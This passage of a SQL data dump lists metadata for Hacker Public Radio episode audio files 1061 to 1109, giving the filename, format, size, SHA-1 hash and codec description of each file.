(1061,'hpr1061.ogg','ogg',9067484,'54850612d58fb9a81b4e672860b38814b911fec8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1061,'hpr1061.spx','spx',3675507,'dd4c96e095e4588ce653aa520a8dc6f8dbb01e98','application/ogg; charset=binary','Ogg data, Speex audio'),
(1062,'hpr1062.mp3','mp3',26437375,'601796016094ac58219a5309a6b1d7247fe80944','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(1062,'hpr1062.ogg','ogg',20731693,'0f653eccc5e1df949fd1c6f94e4e5e65cf41ddaf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(1062,'hpr1062.spx','spx',13903540,'f64104446d56960c6b8110c328c0f57315b21802','application/ogg; charset=binary','Ogg data, Speex audio'),
(1063,'hpr1063.mp3','mp3',25918152,'ad887ac5c4dbdaf2a9f5b87b876b132a9ee940de','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1063,'hpr1063.ogg','ogg',14492446,'2b227e57b5cc1dc50942308c4bf36f468235e93f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1063,'hpr1063.spx','spx',5788441,'d990051137659c6ba84de1487d06fa3da02010b6','application/ogg; charset=binary','Ogg data, Speex audio'),
(1064,'hpr1064.mp3','mp3',29550720,'fe88006c9befa04d894082444523f6ed16a91a36','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(1064,'hpr1064.ogg','ogg',22720237,'2037b752b96ea360f97d8e98f37c858330c1f20d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(1064,'hpr1064.spx','spx',8841714,'bbdb9e741ce84fa17bc70f96b603ffe8a39e976e','application/ogg; charset=binary','Ogg data, Speex audio'),
(1065,'hpr1065.mp3','mp3',897024,'97fd7942f05e59f82e52d1d1eaba9c880b48a7d4','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1065,'hpr1065.ogg','ogg',993658,'38a26763c14097f00c5bc7c3a422d7621153a96a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1065,'hpr1065.spx','spx',400464,'4d2beaf4999bbc13d18cb200a6eaf1cec5c326c2','application/ogg; charset=binary','Ogg data, Speex audio'),
(1066,'hpr1066.mp3','mp3',19542016,'2ac42d5cea8f56aca7dea0e3314730a9409ea6f7','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1066,'hpr1066.ogg','ogg',19408428,'99ca7e687b3d4cdb9722b73370e529a87753eda1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1066,'hpr1066.spx','spx',8727152,'13214c82d3d6d50ddd7aafe6e1f3acdf40e8f298','application/ogg; charset=binary','Ogg data, Speex audio'),
(1067,'hpr1067.mp3','mp3',79620672,'bcb55784d249077c6ab13a72e4e51b642d4d9989','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1067,'hpr1067.ogg','ogg',118643815,'85a5724520d02d68808ecf0091a25f9e5a23e466','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~128000 bps, created by: Xiph.Org libVorbis I'),
(1067,'hpr1067.spx','spx',35559677,'fe91148858d60636299f2696e11e62f272ee94ef','application/ogg; charset=binary','Ogg data, Speex audio'),
(1068,'hpr1068.mp3','mp3',4012552,'6a98180a749008db6579cbe6d6a2b03ce8239ce5','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1068,'hpr1068.ogg','ogg',8980813,'8a793da566f84650c97c0e7f0b8059af367ac3cb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~128000 bps, created by: Xiph.Org libVorbis I'),
(1068,'hpr1068.spx','spx',1791995,'44f49d665024067c650169b8d609d22ab4a2ffe8','application/ogg; charset=binary','Ogg data, Speex audio'),
(1069,'hpr1069.mp3','mp3',44858753,'dca9d8da9365d6a99bea6b040aedb305c136f9a3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1069,'hpr1069.ogg','ogg',45114828,'c4961206494fed0f329b93d5baa6d50d10a1d45f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1069,'hpr1069.spx','spx',20034001,'585ac81547ae13206d2371f4a23be21c17f08554','application/ogg; charset=binary','Ogg data, Speex audio'),
(1070,'hpr1070.mp3','mp3',12544482,'93bac5c7caa0a10f9cbf4c55362abec6258a5419','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1070,'hpr1070.ogg','ogg',13416883,'c92178ebfb93d77c9feeb2fea016d9d6dccf09ce','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1070,'hpr1070.spx','spx',5602146,'f20892ca6a43bf65f313caaddac388929ea5ed69','application/ogg; charset=binary','Ogg data, Speex audio'),
(1071,'hpr1071.mp3','mp3',7340255,'20b1ac02acb648b9c33c0bad4395186a60b9f338','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1071,'hpr1071.ogg','ogg',7293791,'0213be064e264cd0153f6415c1f0693c66c898d2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1071,'hpr1071.spx','spx',3278370,'17bc9840ae53ff95b7b76118f226789c2a0346dd','application/ogg; charset=binary','Ogg data, Speex audio'),
(1072,'hpr1072.mp3','mp3',19422237,'c524025acdfe23816e8e3a2c38469dcbf9008786','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(1072,'hpr1072.ogg','ogg',15760815,'ff8d6a3188ed3383018f6eb706a5ae79dcf743fe','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(1072,'hpr1072.spx','spx',10214128,'8c9d3e986014103a2a2ba2d498f00ec89a94b966','application/ogg; charset=binary','Ogg data, Speex audio'),
(1073,'hpr1073.mp3','mp3',30144137,'f71bd9c6f8450c0822d5ba5a96b5af52e1fc064d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1073,'hpr1073.ogg','ogg',16974910,'a75f737104e87f5c16668a693e204442e4d9fdff','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1073,'hpr1073.spx','spx',6732464,'bbcccbdfd0891b719b8131c937be7106d391423e','application/ogg; charset=binary','Ogg data, Speex audio'),
(1074,'hpr1074.mp3','mp3',11782272,'f3a208f5af15ae1dbb00d9af591b350afc3405b2','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(1074,'hpr1074.ogg','ogg',9295785,'4f712cc0720248bdc421f486ef1d71d97a5223c1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(1074,'hpr1074.spx','spx',3551653,'dc87b5ec02fb02bf506298cf1c364549b2685972','application/ogg; charset=binary','Ogg data, Speex audio'),
(1075,'hpr1075.mp3','mp3',8688985,'48d2a9764428fd8e7dfd8a306085699a0894bf8e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1075,'hpr1075.ogg','ogg',9492908,'cb8abddcd0e1d18706e86a1ddb0dca96cc323b60','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1075,'hpr1075.spx','spx',3880624,'4f89557f6969d664a516da91e9162c8dc793df7a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1076,'hpr1076.mp3','mp3',27850488,'4cdadffcda0d6872554d21b3d278bb1086ec1e4a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(1076,'hpr1076.ogg','ogg',25797318,'0abc65bf5211d1a57e929b574ac67645c4f16e23','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~110000 bps, created by: Xiph.Org libVorbis I'),
(1076,'hpr1076.spx','spx',8292268,'90542e17429afd1f27339cbe8e40e124c7f33d44','application/ogg; charset=binary','Ogg data, Speex audio'),
(1077,'hpr1077.mp3','mp3',9233803,'9eadbecbf06e37939a3af3977e1fb058e7067a61','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1077,'hpr1077.ogg','ogg',8980645,'cf689238a0f78ac172f2007792f7c26b4da96ba1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(1077,'hpr1077.spx','spx',2957529,'203995766ce18ce576e7dfdc0f37f036f6b956b4','application/ogg; charset=binary','Ogg data, Speex audio'),
(1078,'hpr1078.mp3','mp3',1613325,'d15307f090f73cdad657949b4a67d9f3778ea30c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1078,'hpr1078.ogg','ogg',1895275,'0b964e1bec5d93260da5418b6c812e4086eaf90e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1078,'hpr1078.spx','spx',720143,'74b5f62dd30f2bad2b124c3407a0a2934efd51d9','application/ogg; charset=binary','Ogg data, Speex audio'),
(1079,'hpr1079.mp3','mp3',40274054,'66e1cbe766dcda9dcb496ed0a84606ea564740e1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1079,'hpr1079.ogg','ogg',32106148,'98ea639ffb62b288b98176367b13af40ca6cc6db','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1079,'hpr1079.spx','spx',17986487,'8822b1787ddb3be14a1e557fb11c1f9033c005d7','application/ogg; charset=binary','Ogg data, Speex audio'),
(1080,'hpr1080.mp3','mp3',13117677,'ec649a9ea06e6b674ec5baefd23b27e6b512feff','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1080,'hpr1080.ogg','ogg',14480790,'190a5bf63e0b499524fb5a3f1d07d4f97a947cc9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1080,'hpr1080.spx','spx',5858567,'31c17cd64b7bde56e5186e0ce7c9cbef72e8773d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1081,'hpr1081.mp3','mp3',24074346,'03c9412228778e4dbf49ef7f0b0a6bcca6c9f079','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1081,'hpr1081.ogg','ogg',11302271,'a40e0e2ee2078927e8015c8ec0e64b8ce78c1718','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1081,'hpr1081.spx','spx',5376258,'5eb06f6f224aa365bb95d94136cbb2feed70d140','application/ogg; charset=binary','Ogg data, Speex audio'),
(1082,'hpr1082.mp3','mp3',18850685,'e70d3c261e8c022ba4e03280481065ba7120fed4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1082,'hpr1082.ogg','ogg',11735887,'3dba3c25a180bd12d8ed49d3a8bdba26fa4d80d4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(1082,'hpr1082.spx','spx',7435194,'07c6bb3f50ab411c31da6b17de3631027f984c26','application/ogg; charset=binary','Ogg data, Speex audio'),
(1083,'hpr1083.mp3','mp3',4729573,'614c535841c8bfe1f9e7e5b5088e4ab2cf37e82d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1083,'hpr1083.ogg','ogg',5231167,'1b12c56eac74a89d288a26fb4addb6dcb1352bd0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1083,'hpr1083.spx','spx',2112022,'b24842e1d70c115a76c21b4f5117bd5799a9f8bf','application/ogg; charset=binary','Ogg data, Speex audio'),
(1084,'hpr1084.mp3','mp3',13404288,'4cd71aafe23f445d515ffc6f954d09ad4627290f','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1084,'hpr1084.ogg','ogg',10695963,'764ede58025f43f24098325c5af169463c970c2b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1084,'hpr1084.spx','spx',5962538,'08ba6f7554337105dab7ee05bcc7b07f5a1d5e0f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1085,'hpr1085.mp3','mp3',7522429,'e3277bb9a4a99f215694884c7b4755f2d2990a51','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(1085,'hpr1085.ogg','ogg',7183793,'e56b014c80953efd456fe0fa9d3ece1923126e39','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(1085,'hpr1085.spx','spx',1680004,'d0b48c8ac58142082f3467c3e5fd2a660eb841ed','application/ogg; charset=binary','Ogg data, Speex audio'),
(1086,'hpr1086.mp3','mp3',23160403,'b35d7ad96e538714cf9c6826f85c4c0ab6bd53e7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1086,'hpr1086.ogg','ogg',21961343,'535e33d23a8233914486d7337353cdd395632c03','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1086,'hpr1086.spx','spx',10343755,'2418e9448c4108df92d90ab02b376b976ab3484b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1087,'hpr1087.mp3','mp3',16426298,'87a8b80d28ef2c2efdb84bdd817c1804f5b7c725','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1087,'hpr1087.ogg','ogg',14682692,'3f69bf552cf01b21d684fa048876a6c29e411f81','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(1087,'hpr1087.spx','spx',4401389,'6d041e58cc3f81a84c2c8688818bdd4821bf785c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1088,'hpr1088.mp3','mp3',23421682,'f769e8be7eefaf97fbf8d6e88f327cd98bd764ec','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1088,'hpr1088.ogg','ogg',13357763,'24626784aa351cf7e333bb45e9daae09d4a9ce50','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1088,'hpr1088.spx','spx',5231148,'ef2ac5386724c685e1885b68690737c9fec2f2ae','application/ogg; charset=binary','Ogg data, Speex audio'),
(1089,'hpr1089.mp3','mp3',18814641,'6185001729de996651b9b1b9ef59cd745593a26a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1089,'hpr1089.ogg','ogg',21026893,'321f360e4d948f6b7ff2e243db965c18a5acbca2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1089,'hpr1089.spx','spx',12905747,'a81f9b0bcdcc8c004d8bb0e631d2daf8ffcc5227','application/ogg; charset=binary','Ogg data, Speex audio'),
(1090,'hpr1090.mp3','mp3',9993851,'f30661bb8996f62a4215106ef800dde1810ecbc3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1090,'hpr1090.ogg','ogg',10817739,'c17a901d982904df436e46ae9c88d6e95cfa61b2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1090,'hpr1090.spx','spx',4463428,'05cb5dddcbfa802ffd1686670cc883365110cda9','application/ogg; charset=binary','Ogg data, Speex audio'),
(1091,'hpr1091.mp3','mp3',9337232,'2c90c94c1a4a11130edd5d9c974bfc12995dbaaf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1091,'hpr1091.ogg','ogg',18513026,'b6a734c7caf89873aeaccea9b4b0adb54ea76e20','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~128000 bps, created by: Xiph.Org libVorbis I'),
(1091,'hpr1091.spx','spx',4170173,'e0b01bc784bb16868e99d8678e1eb86f4dccf627','application/ogg; charset=binary','Ogg data, Speex audio'),
(1092,'hpr1092.mp3','mp3',26748741,'5c608e4f2aa154bf9b49dce4b603064163c379c6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1092,'hpr1092.ogg','ogg',20776443,'1e5c7d9afbcecf657b017fc92ab7ff7137ca25ab','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1092,'hpr1092.spx','spx',11945920,'1aa7b9c9d4a89a9e0a258ee0874890b7fca6e838','application/ogg; charset=binary','Ogg data, Speex audio'),
(1093,'hpr1093.mp3','mp3',22960484,'581e4b3a4db1a4eaf537c3beaf37deb9f1146681','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1093,'hpr1093.ogg','ogg',12829701,'0f9ca4817e7e398443cf77ad8efd7446c2b3c757','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1093,'hpr1093.spx','spx',5127927,'ee32631b6b2beaecf0d883b6e1b44152f570d76b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1094,'hpr1094.mp3','mp3',24041074,'57e0dff3bed0519fb443718a565cf7120e5ba80f','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1094,'hpr1094.ogg','ogg',94148685,'dda56bf5baf241a27a08da51bd80296b6926fb00','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~239920 bps, created by: Xiph.Org libVorbis I'),
(1094,'hpr1094.spx','spx',10737209,'211f5a5810b92dc2f0bd53b803e432f725a46c33','application/ogg; charset=binary','Ogg data, Speex audio'),
(1095,'hpr1095.mp3','mp3',9099417,'fbefeb95e492a52bee506a20755fc553d11b327b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1095,'hpr1095.ogg','ogg',10035178,'a92fab16d55bf66ff94c747f3fe6d471c2a36e4e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1095,'hpr1095.spx','spx',4063900,'fd812ba28054007fb3754c41b4dc1d1aceb603e6','application/ogg; charset=binary','Ogg data, Speex audio'),
(1096,'hpr1096.mp3','mp3',19764836,'56f859d76bde3b50f57c4e977f20a16a65e0bc23','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1096,'hpr1096.ogg','ogg',9254004,'b035f3feda84fe00488ecd32bb912c48eacd0f05','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1096,'hpr1096.spx','spx',4413911,'097a2414b4ebbc50f9d931626a9839baefde8860','application/ogg; charset=binary','Ogg data, Speex audio'),
(1097,'hpr1097.mp3','mp3',22845844,'74612d9a8d1fca083e7184044d951827c9090f5a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1097,'hpr1097.ogg','ogg',22336658,'26d62b27c368641ca548818544665b888d560f29','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1097,'hpr1097.spx','spx',10202858,'fc6ec7088836ce041fe2bf69de18c1012b3719e1','application/ogg; charset=binary','Ogg data, Speex audio'),
(1098,'hpr1098.mp3','mp3',6366199,'7498bd32a3665150f8d50645372eaf755e2ac45e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1098,'hpr1098.ogg','ogg',11440335,'fa9de1568baa29e4efa34013d238020c66064459','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~128000 bps, created by: Xiph.Org libVorbis I'),
(1098,'hpr1098.spx','spx',2842835,'448c402f0fa3801d8adce2545cdf1bc7472db561','application/ogg; charset=binary','Ogg data, Speex audio'),
(1099,'hpr1099.mp3','mp3',9480192,'81e38bc745c1c3e464e2a5536cbf58b1f7b38e4c','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(1099,'hpr1099.ogg','ogg',4954832,'37124c2c477c22efe42d1c026953f13896c0595d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1099,'hpr1099.spx','spx',2117080,'e62d8253b77ea284487a981985547294283c2177','application/ogg; charset=binary','Ogg data, Speex audio'),
(1100,'hpr1100.mp3','mp3',13142060,'19b3e45bad733f6948f602b88547df31f713d094','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1100,'hpr1100.ogg','ogg',11777877,'fc6ac6dcea85c6aef6079b229ef5bd29bed1febd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1100,'hpr1100.spx','spx',5868994,'0938cbffae67212174afc411e9db94c83afa1858','application/ogg; charset=binary','Ogg data, Speex audio'),
(1101,'hpr1101.mp3','mp3',8857049,'46c95e760d119f7da4f766a711d40c3ca7222a28','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1101,'hpr1101.ogg','ogg',32333031,'e5914e63c3f9a6036bf7b864eb223b1196dbaf43','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~239920 bps, created by: Xiph.Org libVorbis I'),
(1101,'hpr1101.spx','spx',3955836,'94ef10fb6f115d26aba641eb44435558325ac9da','application/ogg; charset=binary','Ogg data, Speex audio'),
(1102,'hpr1102.mp3','mp3',21158730,'178e7a41e2bc4213dacb85829a453f65de0fbdf1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1102,'hpr1102.ogg','ogg',11517501,'284d09e84f7c08aad72f748ac1afffa35b7ab54a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1102,'hpr1102.spx','spx',4725027,'55821422359ffc726b9c95cf4358f795b0593f3f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1103,'hpr1103.mp3','mp3',57513984,'d995a59e6d47bddf2640196b7cd991a504df7986','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  96 kbps, 32 kHz, JntStereo'),
(1103,'hpr1103.ogg','ogg',60379171,'d245ede0c2bdb6c133ded346f1e9ff8f1c1fec22','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 48000 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(1103,'hpr1103.spx','spx',22661671,'b35d7a6e7f05ea336d4def3260800e6bed0cd3de','application/ogg; charset=binary','Ogg data, Speex audio'),
(1104,'hpr1104.mp3','mp3',58810458,'7892ae8828d34afeb8b531c50be979fbe8a59c7a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(1104,'hpr1104.ogg','ogg',44814488,'e412ac78ec9476f0a9adc971bc295575dcd07f4e','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(1104,'hpr1104.spx','spx',13132637,'093aa6d20348de48e3d95cd901ba8648e2dfc3d8','application/ogg; charset=binary','Ogg data, Speex audio'),
(1105,'hpr1105.mp3','mp3',9970654,'358bde074f4b9eb43c4014dd940565cd271cc41d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1105,'hpr1105.ogg','ogg',10869154,'a0adf97ce96c773d03d63ae6fa361fafde08f520','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1105,'hpr1105.spx','spx',4453078,'565a3fd0bd23793074b40ec65b4527e00bc9f0cd','application/ogg; charset=binary','Ogg data, Speex audio'),
(1106,'hpr1106.mp3','mp3',6038964,'1239695a2528fbb261763b62989d11d9c6a1a6e7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1106,'hpr1106.ogg','ogg',6892528,'6ce9ac3713c6cb977320fb98116d44b6c59bb0d5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1106,'hpr1106.spx','spx',2696728,'4eaf351bfb92c10ca7fe9d48288400cca4724eae','application/ogg; charset=binary','Ogg data, Speex audio'),
(1107,'hpr1107.mp3','mp3',10054973,'63bcfc88387b004325b39fc722f39200346738ee','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(1107,'hpr1107.ogg','ogg',5122464,'f2774f3db33af90fce2456729e1a7717d0766218','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1107,'hpr1107.spx','spx',2245371,'6e45fc6fae844a86618124998e8a2dc49b521844','application/ogg; charset=binary','Ogg data, Speex audio'),
(1108,'hpr1108.mp3','mp3',4321302,'f776777ab0e33fbf6b7f9d5d548de592539ccb94','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1108,'hpr1108.ogg','ogg',7708072,'8fce7984e56304118a316813977d71f1dee15712','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~128000 bps, created by: Xiph.Org libVorbis I'),
(1108,'hpr1108.spx','spx',1930081,'f92304469ce1437812c1d4e9eaf7dd9667fa934f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1109,'hpr1109.mp3','mp3',24299752,'3355c7e83d2c1ff75f6683a6af5228ae5da5d16d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
